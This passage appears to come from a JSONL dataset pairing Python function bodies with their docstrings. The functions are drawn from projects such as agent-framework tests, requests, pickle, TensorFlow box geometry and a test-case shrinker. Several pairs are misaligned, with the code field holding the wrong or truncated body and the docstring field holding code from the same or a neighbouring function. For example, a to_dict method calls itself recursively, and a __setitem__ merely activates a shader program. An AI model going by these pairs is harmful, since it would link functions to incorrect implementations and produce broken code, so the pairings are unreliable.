self.contract_api_dialogues.create(\n counterparty=COUNTERPARTY_AGENT_ADDRESS,\n performative=ContractApiMessage.Performative.GET_DEPLOY_TRANSACTION,\n ledger_id=\"some_ledger_id\",\n contract_id=\"some_contract_id\",\n callable=\"some_callable\",\n kwargs=Kwargs({\"some_key\": \"some_value\"}),\n )\n assert dialogue.role == ContractApiDialogue.Role.AGENT\n assert dialogue.self_address == str(self.skill.skill_context.skill_id)\n", "nl": "Test the ContractApiDialogue class.contract_api_dialogue = ContractApiDialogue(DialogueLabel((\"\", \"\"),COUNTERPARTY_AGENT_ADDRESS,self.skill.skill_context.agent_address,),self.skill.skill_context.agent_address,role=ContractApiDialogue.Role.AGENT,)# associated_register_dialoguewith pytest.raises(ValueError, match=\"Associated register dialogue not set!\"):assert contract_api_dialogue.associated_register_dialogueregister_dialogue = RegisterDialogue(DialogueLabel((\"\", \"\"),COUNTERPARTY_AGENT_ADDRESS,self.skill.skill_context.agent_address,),self.skill.skill_context.agent_address,role=RegisterDialogue.Role.AGENT,)contract_api_dialogue.associated_register_dialogue = register_dialoguewith pytest.raises(AEAEnforceError, match=\"Associated register dialogue already set!\"):contract_api_dialogue.associated_register_dialogue = register_dialogueassert contract_api_dialogue.associated_register_dialogue == register_dialogue# termswith pytest.raises(ValueError, match=\"Terms not set!\"):assert contract_api_dialogue.termsterms = Terms(\"some_ledger_id\",self.skill.skill_context.agent_address,\"counterprty\",{\"currency_id\": 50},{\"good_id\": -10},\"some_nonce\",)contract_api_dialogue.terms = termswith pytest.raises(AEAEnforceError, match=\"Terms already set!\"):contract_api_dialogue.terms = termsassert contract_api_dialogue.terms == termsdef test_contract_api_dialogues(self):Test the ContractApiDialogues class."} {"code": "def session():\n return Session()", "nl": "Returns a :class:`Session` for context-management... deprecated:: 1.0.0This method has been deprecated since version 1.0.0 and is only kept forbackwards compatibility. New code should use :class:`~requests.sessions.Session`to create a session. This may be removed at a future date.:rtype: Session"} {"code": "def close(self):\n conn = self.connection\n if conn is None:\n return\n try:\n while self.nextset():\n pass\n finally:\n self.connection = None\n", "nl": "Closing a cursor just exhausts all remaining data."} {"code": "def test_passive_gaussian_transform(self, setup_eng, tol):\n eng, p1 = setup_eng(3)\n O = np.vstack([np.hstack([u1.real, -u1.imag]), np.hstack([u1.imag, u1.real])])\n\n with p1.context as q:\n ops.All(ops.Squeezed(0.5)) | q\n init = eng.run(p1).state\n\n p2 = sf.Program(p1)\n with p2.context as q:\n ops.GaussianTransform(O) | q\n\n state = eng.run(p2).state\n assert np.allclose(state.cov(), O @ init.cov() @ O.T, atol=tol)\n", "nl": "Test applying a passive Gaussian symplectic transform,which is simply an interferometer"} {"code": "def to_dict(self):\n return pprint.pformat(self.to_dict())\n", "nl": "Returns the model properties as a dictresult = {}for attr, _ in six.iteritems(self.openapi_types):value = getattr(self, attr)if isinstance(value, list):result[attr] = list(map(lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,value))elif hasattr(value, \"to_dict\"):result[attr] = value.to_dict()elif isinstance(value, dict):result[attr] = dict(map(lambda item: (item[0], item[1].to_dict())if hasattr(item[1], \"to_dict\") else item,value.items()))else:result[attr] = valuereturn resultdef to_str(self):Returns the string representation of the model"} {"code": "def forward(self, im_q, im_k):\n\n q = self.encoder_q(im_q)\n q = nn.functional.normalize(q, dim=1)\n\n with torch.no_grad():\n self._momentum_update_key_encoder()\n\n im_k, idx_unshuffle = self._batch_shuffle_ddp(im_k)\n\n k = self.encoder_k(im_k)\n k = nn.functional.normalize(k, dim=1)\n\n k = self._batch_unshuffle_ddp(k, idx_unshuffle)\n\n l_pos = torch.einsum('nc,nc->n', [q, k]).unsqueeze(-1)\n l_neg = torch.einsum('nc,ck->nk', [q, self.queue.clone().detach()])\n\n logits = torch.cat([l_pos, l_neg], dim=1)\n\n logits /= self.T\n\n labels = torch.zeros(logits.shape[0], dtype=torch.long).cuda()\n\n self._dequeue_and_enqueue(k)\n\n return logits, labels\n\n\n@torch.no_grad()", "nl": "Input:im_q: a batch of query imagesim_k: a batch of key imagesOutput:logits, targets"} {"code": "def test_habitat_quality_threat_max_dist(self):\n from natcap.invest import habitat_quality\n\n args = {\n 'half_saturation_constant': '0.5',\n 'workspace_dir': self.workspace_dir,\n 'n_workers': -1,\n }\n\n args['access_vector_path'] = os.path.join(\n args['workspace_dir'], 'access_samp.shp')\n make_access_shp(args['access_vector_path'])\n\n args['sensitivity_table_path'] = os.path.join(\n args['workspace_dir'], 'sensitivity_samp.csv')\n make_sensitivity_samp_csv(args['sensitivity_table_path'])\n\n args['lulc_cur_path'] = os.path.join(\n args['workspace_dir'], 'lc_samp_cur_b.tif')\n\n lulc_array = numpy.ones((100, 100), dtype=numpy.int8)\n lulc_array[50:, :] = 2\n make_raster_from_array(lulc_array, args['lulc_cur_path'])\n\n make_threats_raster(args['workspace_dir'])\n\n args['threats_table_path'] = os.path.join(\n args['workspace_dir'], 'threats_samp.csv')\n\n with open(args['threats_table_path'], 'w') as open_table:\n open_table.write(\n 'MAX_DIST,WEIGHT,THREAT,DECAY,BASE_PATH,CUR_PATH,FUT_PATH\\n')\n open_table.write(\n '0.04,0.7,threat_1,invalid,,threat_1_c.tif,threat_1_f.tif\\n')\n\n with self.assertRaises(ValueError):\n habitat_quality.execute(args)\n", "nl": "Habitat Quality: expected ValueError on max_dist <=0.from natcap.invest import habitat_qualityargs = {'half_saturation_constant': '0.5','results_suffix': 'regression','workspace_dir': self.workspace_dir,'n_workers': -1,}args['access_vector_path'] = os.path.join(args['workspace_dir'], 'access_samp.shp')make_access_shp(args['access_vector_path'])scenarios = ['_bas_', '_cur_', '_fut_']for lulc_val, scenario in enumerate(scenarios, start=1):lulc_array = numpy.ones((100, 100), dtype=numpy.int8)lulc_array[50:, :] = lulc_valargs['lulc' + scenario + 'path'] = os.path.join(args['workspace_dir'], 'lc_samp' + scenario + 'b.tif')make_raster_from_array(lulc_array, args['lulc' + scenario + 'path'])args['sensitivity_table_path'] = os.path.join(args['workspace_dir'], 'sensitivity_samp.csv')make_sensitivity_samp_csv(args['sensitivity_table_path'])make_threats_raster(args['workspace_dir'])args['threats_table_path'] = os.path.join(args['workspace_dir'], 'threats_samp.csv')# create the threat CSV tablewith open(args['threats_table_path'], 'w') as open_table:open_table.write('MAX_DIST,WEIGHT,THREAT,DECAY,BASE_PATH,CUR_PATH,FUT_PATH\\n')open_table.write('0.0,0.7,threat_1,linear,,threat_1_c.tif,threat_1_f.tif\\n')open_table.write('0.07,1.0,threat_2,exponential,,threat_2_c.tif,''threat_2_f.tif\\n')with self.assertRaises(ValueError) as cm:habitat_quality.execute(args)self.assertIn(\"max distance for threat: 'threat_1' is less\",str(cm.exception))def test_habitat_quality_invalid_decay_type(self):Habitat Quality: expected ValueError on invalid decay type."} {"code": "def clean_up(chr_cache, cc3_rig, rigify_rig, meta_rig):\n\n utils.log_info(\"Cleaning Up...\")\n rig_name = cc3_rig.name\n cc3_rig.hide_set(True)\n utils.delete_armature_object(meta_rig)\n rigify_rig.name = rig_name + \"_Rigify\"\n rigify_rig.data.name = rig_name + \"_Rigify\"\n if utils.set_mode(\"OBJECT\"):\n for bone in rigify_rig.data.bones:\n bone.select = False\n utils.clear_selected_objects()\n if utils.try_select_object(rigify_rig, True):\n utils.set_active_object(rigify_rig)\n chr_cache.set_rigify_armature(rigify_rig)\n\n\n\n", "nl": "Rename the rigs, hide the original CC3 Armature and remove the meta rig.Set the new rig into pose mode."} {"code": "def bounds(self):\n return self.gmap.bounds\n", "nl": ":returns: `geographic_msgs/BoundingBox`_ from the `geographic_msgs/GeographicMap`_ message."} {"code": "def finalize(self):\n self._analyze_names(self._global_names, 'global')\n self._analyze_names(self._nonlocal_names, 'nonlocal')\n\n global_name_strs = {n.value: n for n in self._global_names}\n for nonlocal_name in self._nonlocal_names:\n try:\n global_name = global_name_strs[nonlocal_name.value]\n except KeyError:\n continue\n\n message = \"name '%s' is nonlocal and global\" % global_name.value\n if global_name.start_pos < nonlocal_name.start_pos:\n error_name = global_name\n else:\n error_name = nonlocal_name\n self._add_syntax_error(error_name, message)\n\n nonlocals_not_handled = []\n for nonlocal_name in self._nonlocal_names_in_subscopes:\n search = nonlocal_name.value\n if search in global_name_strs or self.parent_context is None:\n message = \"no binding for nonlocal '%s' found\" % nonlocal_name.value\n self._add_syntax_error(nonlocal_name, message)\n elif not self.is_function() or \\\n nonlocal_name.value not in self._used_name_dict:\n nonlocals_not_handled.append(nonlocal_name)\n return self._nonlocal_names + nonlocals_not_handled\n", "nl": "Returns a list of nonlocal names that need to be part of that scope."} {"code": "def decode_filename(filename):\n\n Each item we yield is a tuple of the code followed by its\n description.\n\n \"\"\"", "nl": "Return Unicode filename.if isinstance(filename, unicode):return filenamereturn filename.decode(sys.getfilesystemencoding())def supported_fixes():Yield pep8 error codes that autopep8 fixes."} {"code": "def __init__(self, file, protocol=None):\n if protocol is None:\n protocol = 0\n if protocol < 0:\n protocol = HIGHEST_PROTOCOL\n elif not 0 <= protocol <= HIGHEST_PROTOCOL:\n raise ValueError(\"pickle protocol must be <= %d\" % HIGHEST_PROTOCOL)\n self.write = file.write\n self.memo = {}\n self.proto = int(protocol)\n self.bin = protocol >= 1\n self.fast = 0\n", "nl": "This takes a file-like object for writing a pickle data stream.The optional protocol argument tells the pickler to use thegiven protocol; supported protocols are 0, 1, 2. The defaultprotocol is 0, to be backwards compatible. (Protocol 0 is theonly protocol that can be written to a file opened in textmode and read back successfully. When using a protocol higherthan 0, make sure the file is opened in binary mode, both whenpickling and unpickling.)Protocol 1 is more efficient than protocol 0; protocol 2 ismore efficient than protocol 1.Specifying a negative protocol version selects the highestprotocol version supported. The higher the protocol used, themore recent the version of Python needed to read the pickleproduced.The file parameter must have a write() method that accepts a singlestring argument. It can thus be an open file object, a StringIOobject, or any other custom object that meets this interface."} {"code": "def delete(email, organization=None):\n if organization:\n org = models.Organization.get_by_slug(organization)\n deleted_count = models.User.query.filter(\n models.User.email == email, models.User.org == org.id\n ).delete()\n else:\n deleted_count = models.User.query.filter(models.User.email == email).delete(\n synchronize_session=False\n )\n models.db.session.commit()\n print(\"Deleted %d users.\" % deleted_count)\n\n\n@manager.command()\n@argument(\"email\")\n@argument(\"password\")\n@option(\n \"--org\",\n \"organization\",", "nl": "Delete user EMAIL."} {"code": "def __setitem__(self, name, value):\n glUseProgram(self.program)\n", "nl": "pass a variable to the shaderif isinstance(value, float):self.set_uniform_f(name, value)elif isinstance(value, int):self.set_uniform_i(name, value)else:raise TypeError('Only single floats and ints are supported so far')def use(self):Use the shader"} {"code": "def _filterwarnings(filters, quiet=False):\n frame = sys._getframe(2)\n registry = frame.f_globals.get('__warningregistry__')\n if registry:\n registry.clear()\n with warnings.catch_warnings(record=True) as w:\n sys.modules['warnings'].simplefilter(\"always\")\n yield WarningsRecorder(w)\n reraise = list(w)\n missing = []\n for msg, cat in filters:\n seen = False\n for w in reraise[:]:\n warning = w.message\n if (re.match(msg, str(warning), re.I) and\n issubclass(warning.__class__, cat)):\n seen = True\n reraise.remove(w)\n if not seen and not quiet:\n missing.append((msg, cat.__name__))\n if reraise:\n raise AssertionError(\"unhandled warning %s\" % reraise[0])\n if missing:\n raise AssertionError(\"filter (%r, %s) did not catch any warning\" %\n missing[0])\n\n\n@contextlib.contextmanager", "nl": "Catch the warnings, then check if all the expectedwarnings have been raised and re-raise unexpected warnings.If 'quiet' is True, only re-raise the unexpected warnings."} {"code": "def add_new_pass(self, run):\n if isinstance(name, ShrinkPass):\n return name\n if name not in self.passes_by_name:\n self.add_new_pass(name)\n return self.passes_by_name[name]\n\n @derived_value", "nl": "Creates a shrink pass corresponding to calling ``run(self)``definition = SHRINK_PASS_DEFINITIONS[run]p = ShrinkPass(run_with_chooser=definition.run_with_chooser,shrinker=self,index=len(self.passes),)self.passes.append(p)self.passes_by_name[p.name] = preturn pdef shrink_pass(self, name):Return the ShrinkPass object for the pass with the given name."} {"code": "def is_input_file(self):\n\n Each error is associated to an enumerated value, accessible under\n e.cdb_error. Consumers can compare the value with one of the ERROR_\n constants in this class.\n \"\"\"", "nl": "True if the included file is the input file.return self.depth == 0class CompilationDatabaseError(Exception):Represents an error that occurred when working with a CompilationDatabase"} {"code": "def box_8c_to_box_3d(box_8c):\n format_checker.check_box_8c_format(box_8c)\n\n x_corners = box_8c[:, 0]\n y_corners = box_8c[:, 1]\n z_corners = box_8c[:, 2]\n\n x12_midpoint = (x_corners[:, 0] + x_corners[:, 1]) / 2\n z12_midpoint = (z_corners[:, 0] + z_corners[:, 1]) / 2\n\n x34_midpoint = (x_corners[:, 2] + x_corners[:, 3]) / 2\n z34_midpoint = (z_corners[:, 2] + z_corners[:, 3]) / 2\n\n delta_x = x12_midpoint - x34_midpoint\n delta_z = z12_midpoint - z34_midpoint\n rys = -tf.atan2(delta_z, delta_x)\n\n center_x = tf.reduce_mean(x_corners[:, 0:4], axis=1)\n center_z = tf.reduce_mean(z_corners[:, 0:4], axis=1)\n\n translated_x = box_8c[:, 0] - tf.reshape(center_x, (-1, 1))\n translated_z = box_8c[:, 2] - tf.reshape(center_z, (-1, 1))\n\n ry_sin = tf.sin(-rys)\n ry_cos = tf.cos(-rys)\n\n zeros = tf.zeros_like(rys, dtype=tf.float32)\n ones = tf.ones_like(rys, dtype=tf.float32)\n\n rotation_mats = tf.stack([\n tf.stack([ry_cos, zeros, ry_sin], axis=1),\n tf.stack([zeros, ones, zeros], axis=1),\n tf.stack([-ry_sin, zeros, ry_cos], axis=1)], axis=2)\n\n corners = tf.stack([translated_x,\n y_corners,\n translated_z], axis=1)\n corners_3d = tf.matmul(rotation_mats, corners,\n transpose_a=True,\n transpose_b=False)\n\n aligned_corners = align_boxes_8c(corners_3d)\n\n aligned_corners_x = aligned_corners[:, 0] + tf.reshape(center_x, (-1, 1))\n aligned_corners_z = aligned_corners[:, 2] + tf.reshape(center_z, (-1, 1))\n\n new_x_corners = aligned_corners_x\n new_y_corners = aligned_corners[:, 1]\n new_z_corners = aligned_corners_z\n\n x_b_right = new_x_corners[:, 1]\n x_b_left = new_x_corners[:, 2]\n\n z_b_left = new_z_corners[:, 2]\n z_t_left = new_z_corners[:, 3]\n\n corner_y1 = new_y_corners[:, 0]\n corner_y5 = new_y_corners[:, 4]\n\n length = x_b_right - x_b_left\n width = z_t_left - z_b_left\n height = corner_y1 - corner_y5\n\n center_x = tf.reduce_mean(new_x_corners[:, 0:4], axis=1)\n center_z = tf.reduce_mean(new_z_corners[:, 0:4], axis=1)\n center_y = corner_y1\n\n box_3d = tf.stack([center_x, center_y, center_z,\n length, width, height, rys], axis=1)\n return box_3d\n\n", "nl": "Computes the 3D bounding box corner positions from 8 corners.To go back from 8-corner representation to box3D, we need to reversethe transformation done in 'box_3d_to_box_8c'. The first thing we needis orientation, this is estimated by calculating the midpoints ofP1 -> P2 and P3 -> P4. Connecting these midpoints, results to a vectorwhich gives us the direction of the corners. However note that y-axisis facing downwards and hence we negate this orientation.Next we calculate the centroids by taking the average of four cornersfor x and z axes. We then translate the centroids back to the originand then multiply by the rotation matrix, however now we are rotatingthe opposite direction, so the angle signs are reversed. After rotationwe can translate the corners back however, there is one additional stepbefore translation. Since we plan to regress corners, it is expectedfor the corners to be skewed, i.e. resulting to non-rectangular shapes.Hence we attempt to align the corners (by min/maxing the corners andaligning them by the min and max values for each corner. After this stepwe can translate back, and calculate length, width and height.Args:box_8c: An ndarray or a tensor of shape (N x 3 x 8) representingthe box corners.Returns:corners_3d: An ndarray or a tensor of shape (3 x 8) representingthe box as corners in this format -> [[x1,...,x8],[y1...,y8],[z1,...,z8]]."} {"code": "def set_target(self, target):\n self.targetname = target\n m = __import__('buildozer.targets.{0}'.format(target),\n fromlist=['buildozer'])\n self.target = m.get_target(self)\n self.check_build_layout()\n self.check_configuration_tokens()\n", "nl": "Set the target to use (one of buildozer.targets, such as \"android\")"} {"code": "def subsequenceGenerator(dataList, chunkSize, sampleFunc, stepSizeFlag):\n\n if stepSizeFlag == DO_SAMPLE_EXCLUSIVE:\n stepSize = chunkSize\n elif stepSizeFlag == DO_SAMPLE_GATED:\n stepSize = int(math.floor(chunkSize / 2.0))\n elif stepSizeFlag == DO_SAMPLE_ALL:\n stepSize = 1\n\n controlPoint = 0\n finalIndex = 0\n doneIterating = False\n while not doneIterating:\n\n subSequence, subSequenceIndices, sampledLen = sampleFunc(dataList,\n controlPoint,\n chunkSize)\n\n finalIndex = subSequenceIndices[-1]\n isEndpointLastValue = finalIndex >= (len(dataList) - 1)\n isControlPointLastValue = controlPoint >= (len(dataList) - 1)\n\n if stepSizeFlag == DO_SAMPLE_EXCLUSIVE:\n doneIterating = isEndpointLastValue\n\n else:\n doneIterating = isControlPointLastValue\n\n controlPoint += stepSize\n\n if stepSizeFlag == DO_SAMPLE_GATED:\n\n if sampleFunc == sampleMiddle:\n region = subSequenceIndices[int((chunkSize - 1) / 2.0):-1]\n elif sampleFunc == sampleLeft:\n region = subSequenceIndices[:int((chunkSize - 1) / 2.0)]\n elif sampleFunc == sampleRight:\n region = subSequenceIndices[int((chunkSize - 1) / 2.0) + 1:]\n\n sampledLen = int((chunkSize - 1) / 2.0)\n sampledLen = sampledLen - (sampledLen - len(set(region)))\n\n if doneIterating and sampleFunc != sampleRight:\n sampledLen = 0\n\n yield subSequence, subSequenceIndices, sampledLen\n\n", "nl": "Can iteratively generate subsequences in a variety of fashionschunkSize - the size of each chunksampleFunc - e.g. sampleMiddle(), sampleLeft(), sampleRight(), determinesthe 'controlPoint'stepSize - the distance between starting pointsRegardless of the parameters, all values will appear in one of thesubsequences, including the endpoints. Each subsequence is the samelength--if necessary, values are repeated on the tail ends of thelist"} {"code": "def _linear(self, inputs):\n batch_size = shape_list(inputs)[0]\n length = shape_list(inputs)[1]\n\n x = tf.reshape(inputs, [-1, self.dim])\n logits = tf.matmul(x, self.word_embeddings, transpose_b=True)\n\n return tf.reshape(logits, [batch_size, length, self.vocab_size])\n\n\nclass TFMultiHeadSelfAttention(tf.keras.layers.Layer):", "nl": "Computes logits by running inputs through a linear layer.Args:inputs: A float32 tensor with shape [batch_size, length, hidden_size]Returns:float32 tensor with shape [batch_size, length, vocab_size]."} {"code": "def is_remote_plume_lambda_debug_exec_mode():\n return is_plume_exec_mode() and is_debug_exec_mode() and is_lambda_exec_mode()\n\n", "nl": "Returns a boolean specifying whether Canari is operating in Plume debug mode.:return: True if Canari is operating in Plume debug mode."} {"code": "def _make_sampler_fn(self, sampler_cls_list, mode):\n if not isinstance(sampler_cls_list, (list, tuple)):\n sampler_cls_list = [sampler_cls_list]\n\n self._samplers[mode] = []\n sampler_fns = []\n for spec, sampler in zip(self.context_specs, sampler_cls_list):\n if isinstance(sampler, (str,)):\n sampler_fn = self._custom_sampler_fns[sampler]\n else:\n sampler_fn = sampler(context_spec=spec)\n self._samplers[mode].append(sampler_fn)\n sampler_fns.append(sampler_fn)\n", "nl": "Returns a fn that samples a list of context vars.Args:sampler_cls_list: A list of sampler classes.mode: A string representing the operating mode."} {"code": "def _osUrandom(self, nbytes):\n try:\n return os.urandom(nbytes)\n except (AttributeError, NotImplementedError) as e:\n raise SourceNotAvailable(e)\n\n", "nl": "Wrapper around C{os.urandom} that cleanly manage its absence."} {"code": "def save_offset(self):\n", "nl": "Called when the object is picked for dragging; should save thereference position of the artist."} {"code": "def __init__(self, userdoc: Dict, devdoc: Dict):\n self._userdoc: UserDoc = UserDoc(userdoc)\n self._devdoc: DevDoc = DevDoc(devdoc)\n\n @property", "nl": "Init the objectArgs:userdoc (Dict): user docdevdoc (Dict): dev doc"} {"code": "def testBuildMomentumOptimizer(self):\n optimizer_proto = optimizer_pb2.Optimizer()\n text_format.Merge(optimizer_text_proto, optimizer_proto)\n optimizer, _ = optimizer_builder.build(optimizer_proto)\n self.assertTrue(isinstance(optimizer, tf.train.MomentumOptimizer))\n", "nl": "optimizer_text_proto = momentum_optimizer: {learning_rate: {constant_learning_rate {learning_rate: 0.001}}momentum_optimizer_value: 0.99}use_moving_average: false"} {"code": "def echo(echo_str, options=\"\", **dargs):\n cmd = \"echo %s %s\" % (echo_str, options)\n return command(cmd, **dargs)\n\n", "nl": "Run echo command in virsh session.:param echo_str: the echo string:param options: extra options:param dargs: standardized virsh function API keywords:return: CmdResult object"} {"code": "def register_slave(self, identifier):\n if self._activated:\n assert self._queue.empty(), 'Queue is not clean before next initialization.'\n self._activated = False\n self._registry.clear()\n future = FutureResult()\n self._registry[identifier] = _MasterRegistry(future)\n return SlavePipe(identifier, self._queue, future)\n", "nl": "Register an slave device.Args:identifier: an identifier, usually is the device id.Returns: a `SlavePipe` object which can be used to communicate with the master device."} {"code": "def __init__(self, content, *args, **kwargs):\n super(GlobalConfigSchema, self).__init__(*args, **kwargs)\n self._content = content\n self._inputs = []\n self._configs = []\n self._settings = []\n\n try:\n self._parse()\n except Exception:\n raise RestSchemaError(\n 'Invalid Global Config Schema: %s' % traceback.format_exc(),\n )\n\n @property", "nl": ":param content: Python object for Global Config Schema:param args::param kwargs:"} {"code": "def set_data(self, *args, **kwargs):\n\n Parameters\n ----------\n pos : array-like (2D)\n data_bounds : array-like (2D, shape[1] == 4)\n\n \"\"\"", "nl": "Update the visual data.data = self.validate(*args, **kwargs)self.n_vertices = self.vertex_count(**data)image = data.imagepos = np.array([[-1, -1],[-1, +1],[+1, -1],[-1, +1],[+1, +1],[+1, -1],])tex_coords = np.array([[0, 1],[0, 0],[+1, 1],[0, 0],[+1, 0],[+1, 1],])self.program['a_position'] = pos.astype(np.float32)self.program['a_tex_coords'] = tex_coords.astype(np.float32)self.program['u_tex'] = image.astype(np.float32)self.emit_visual_set_data()return data#------------------------------------------------------------------------------# Polygon visual#------------------------------------------------------------------------------class PolygonVisual(BaseVisual):Polygon."} {"code": "def install_classification_rule(self, child_port_segmentation):\n LOG.debug('%s.install_classification_rule: Enter: %r',\n type(self).__name__, child_port_segmentation)\n match = self.get_classification_match(child_port_segmentation)\n actions = self.get_classification_actions(child_port_segmentation)\n self.app.mod_flow(\n table_id=constants.INGRESS_CLASSIFICATION_DISPATCH_TABLE,\n priority=constants.PRIORITY_HIGH,\n match=match,\n actions=actions,\n )\n", "nl": "Create the classification rule, i.e. the OpenFlow rule that detectsthat the packet is from the nested port (rather than the parent port),and modify the packet and metadata so that the rest of the pipelinesees the packet as if it came from the nested port:param child_port_segmentation: Nested port information:type child_port_segmentation: ChildPortSegmentation model"} {"code": "def frozen_bn_stats(model):\n for m in model.modules():\n if isinstance(m, nn.BatchNorm3d):\n m.eval()\n\n", "nl": "Set all the bn layers to eval mode.Args:model (model): model to set bn layers to eval mode."} {"code": "def pprint(self, *args, **kwargs):\n pprint.pprint(self.asList(), *args, **kwargs)\n", "nl": "Pretty-printer for parsed results as a list, using the C{pprint} module.Accepts additional positional or keyword args as defined for theC{pprint.pprint} method. (U{http://docs.python.org/3/library/pprint.html#pprint.pprint})Example::ident = Word(alphas, alphanums)num = Word(nums)func = Forward()term = ident | num | Group('(' + func + ')')func <<= ident + Group(Optional(delimitedList(term)))result = func.parseString(\"fna a,b,(fnb c,d,200),100\")result.pprint(width=40)prints::['fna',['a','b',['(', 'fnb', ['c', 'd', '200'], ')'],'100']]"} {"code": "def CopyPreset(old_preset, new_preset):\n\n for key in old_preset.keys():\n new_preset[key] = old_preset[key]\n\nclass CAPSULE_OT_DrawError(Operator):\n \"\"\"\n bl_idname = \"cap.draw_error\"\n bl_label = \"Store Preset\"\n\n title = StringProperty()\n message = StringProperty()\n", "nl": "Copies all the properties of one property into another given property."} {"code": "def get_open_orders(self, asset):\n pass\n\n @abstractmethod", "nl": "Retrieve all of the current open orders.Parameters----------asset : AssetIf passed and not None, return only the open orders for the givenasset instead of all open orders.Returns-------open_orders : dict[list[Order]] or list[Order]If no asset is passed this will return a dict mapping Assetsto a list containing all the open orders for the asset.If an asset is passed then this will return a list of the openorders for this asset."} {"code": "def test_expected_calibration_error_all_bins_filled(self):\n y_true, y_pred = self._get_calibration_placeholders()\n expected_ece_op, update_op = calibration_metrics.expected_calibration_error(\n y_true, y_pred, nbins=2)\n with self.test_session() as sess:\n metrics_vars = tf.get_collection(tf.GraphKeys.METRIC_VARIABLES)\n sess.run(tf.variables_initializer(var_list=metrics_vars))\n sess.run(\n update_op,\n feed_dict={\n y_pred: np.array([0., 0.2, 0.4]),\n y_true: np.array([0, 0, 1])\n })\n actual_ece = np.abs(0.2 - (1 / 3.))\n expected_ece = sess.run(expected_ece_op)\n self.assertAlmostEqual(actual_ece, expected_ece)\n", "nl": "Test expected calibration error when all bins contain predictions.y_true, y_pred = self._get_calibration_placeholders()expected_ece_op, update_op = calibration_metrics.expected_calibration_error(y_true, y_pred, nbins=2)with self.test_session() as sess:metrics_vars = tf.get_collection(tf.GraphKeys.METRIC_VARIABLES)sess.run(tf.variables_initializer(var_list=metrics_vars))# Bin calibration errors (|confidence - accuracy| * bin_weight):# - [0,0.5): |0.2 - 0.333| * (3/5) = 0.08# - [0.5, 1]: |0.75 - 0.5| * (2/5) = 0.1sess.run(update_op,feed_dict={y_pred: np.array([0., 0.2, 0.4, 0.5, 1.0]),y_true: np.array([0, 0, 1, 0, 1])})actual_ece = 0.08 + 0.1expected_ece = sess.run(expected_ece_op)self.assertAlmostEqual(actual_ece, expected_ece)def test_expected_calibration_error_all_bins_not_filled(self):Test expected calibration error when no predictions for one bin."} {"code": "def get_user_details(self, response):\n return self.get_json(\n 'https://app.goclio.com/api/v2/users/who_am_i',\n params={'access_token': access_token}\n )\n", "nl": "Return user details from GoClio accountuser = response.get('user', {})username = user.get('id', None)email = user.get('email', None)first_name, last_name = (user.get('first_name', None),user.get('last_name', None))fullname = '%s %s' % (first_name, last_name)return {'username': username,'fullname': fullname,'first_name': first_name,'last_name': last_name,'email': email}def user_data(self, access_token, *args, **kwargs):Loads user data from service"} {"code": "def _update_n_states(self):\n old_n = int(self.n_states)\n new_n = self.n_states * self.balance\n new_n = int(np.clip(np.ceil(new_n), 2, self.max_states))\n self.n_states = new_n\n if new_n > old_n:\n self._swarm[old_n:new_n] = [x.create_clone() for x\n in np.random.choice(self.swarm, int(new_n - old_n))]\n self.n_states = int(new_n)\n", "nl": "The number of parallel trajectories used changes every step. It tries to use enoughswarm to make the mean time of the swarm tend to the minimum mean time selected."} {"code": "def setUpClass(self):\n self.set_up_test_dir()\n\n self.key_path = \"test-key\"\n self.key_path2 = \"test-key2\"\n generate_and_write_unencrypted_rsa_keypair(self.key_path)\n generate_and_write_unencrypted_rsa_keypair(self.key_path2)\n self.key = import_rsa_privatekey_from_file(self.key_path)\n self.key2 = import_rsa_privatekey_from_file(self.key_path2)\n\n self.step_name = \"test-step\"\n self.link_name = \"{}.{:.8}.link\".format(self.step_name, self.key[\"keyid\"])\n self.link_name_unfinished = UNFINISHED_FILENAME_FORMAT.format(\n step_name=self.step_name, keyid=self.key[\"keyid\"])\n\n self.test_product = \"test_product\"\n Path(self.test_product).touch()\n\n @classmethod", "nl": "Create and change into temporary directory, generate two key pairsand dummy product. "} {"code": "def statement(self):\n if self.current_token.type == TokenType.BEGIN:\n node = self.compound_statement()\n elif (self.current_token.type == TokenType.ID and\n self.lexer.current_char == '('\n ):\n node = self.proccall_statement()\n elif self.current_token.type == TokenType.ID:\n node = self.assignment_statement()\n else:\n node = self.empty()\n return node\n", "nl": "statement : compound_statement| proccall_statement| assignment_statement| empty"} {"code": "def nonlocals(dynamicscope):\n return dynamicscope[0]['nonlocals']\n\n", "nl": "Access the nonlocals of a dynamic scope."} {"code": "def setBroadcastAllowed(self, enabled):\n self.socket.setsockopt(\n socket.SOL_SOCKET, socket.SO_BROADCAST, enabled)\n\n", "nl": "Set whether this port may broadcast. This is disabled by default.@param enabled: Whether the port may broadcast.@type enabled: L{bool}"} {"code": "def _managle_lambda_list(aggfuncs: Sequence[Any]) -> Sequence[Any]:\n if len(aggfuncs) <= 1:\n return aggfuncs\n i = 0\n mangled_aggfuncs = []\n for aggfunc in aggfuncs:\n if com.get_callable_name(aggfunc) == \"\":\n aggfunc = partial(aggfunc)\n aggfunc.__name__ = f\"\"\n i += 1\n mangled_aggfuncs.append(aggfunc)\n\n return mangled_aggfuncs\n\n", "nl": "Possibly mangle a list of aggfuncs.Parameters----------aggfuncs : SequenceReturns-------mangled: list-likeA new AggSpec sequence, where lambdas have been convertedto have unique names.Notes-----If just one aggfunc is passed, the name will not be mangled."} {"code": "def get_jobs_for_project(project, info):\n if email.endswith('@googlemail.com'):\n return email.split('@')[0] + '@gmail.com'\n\n return email\n\n", "nl": "Return jobs for the project.sanitizers = _process_sanitizers_field(info.get('sanitizers', DEFAULT_SANITIZERS))if not sanitizers:logs.log_error(f'Invalid sanitizers field for {project}.')return []engines = info.get('fuzzing_engines', DEFAULT_ENGINES)architectures = info.get('architectures', DEFAULT_ARCHITECTURES)jobs = []for engine in engines:if engine not in JOB_MAP:continuefor architecture in architectures:if architecture not in JOB_MAP[engine]:continuefor sanitizer, options in six.iteritems(sanitizers):experimental = (options.get('experimental', False) orinfo.get('experimental', False))if sanitizer in JOB_MAP[engine][architecture]:job = JOB_MAP[engine][architecture][sanitizer]if experimental:job = _to_experimental_job(job)jobs.append(job)return jobsdef convert_googlemail_to_gmail(email):Convert @googlemail.com to @gmail.com."} {"code": "def try_to_replace(self, provider, other, problems):\n rlist = self.reqts[other]\n unmatched = set()\n for s in rlist:\n matcher = self.get_matcher(s)\n if not matcher.match(provider.version):\n unmatched.add(s)\n if unmatched:\n problems.add(('cantreplace', provider, other,\n frozenset(unmatched)))\n result = False\n else:\n self.remove_distribution(other)\n del self.reqts[other]\n for s in rlist:", "nl": "Attempt to replace one provider with another. This is typically usedwhen resolving dependencies from multiple sources, e.g. A 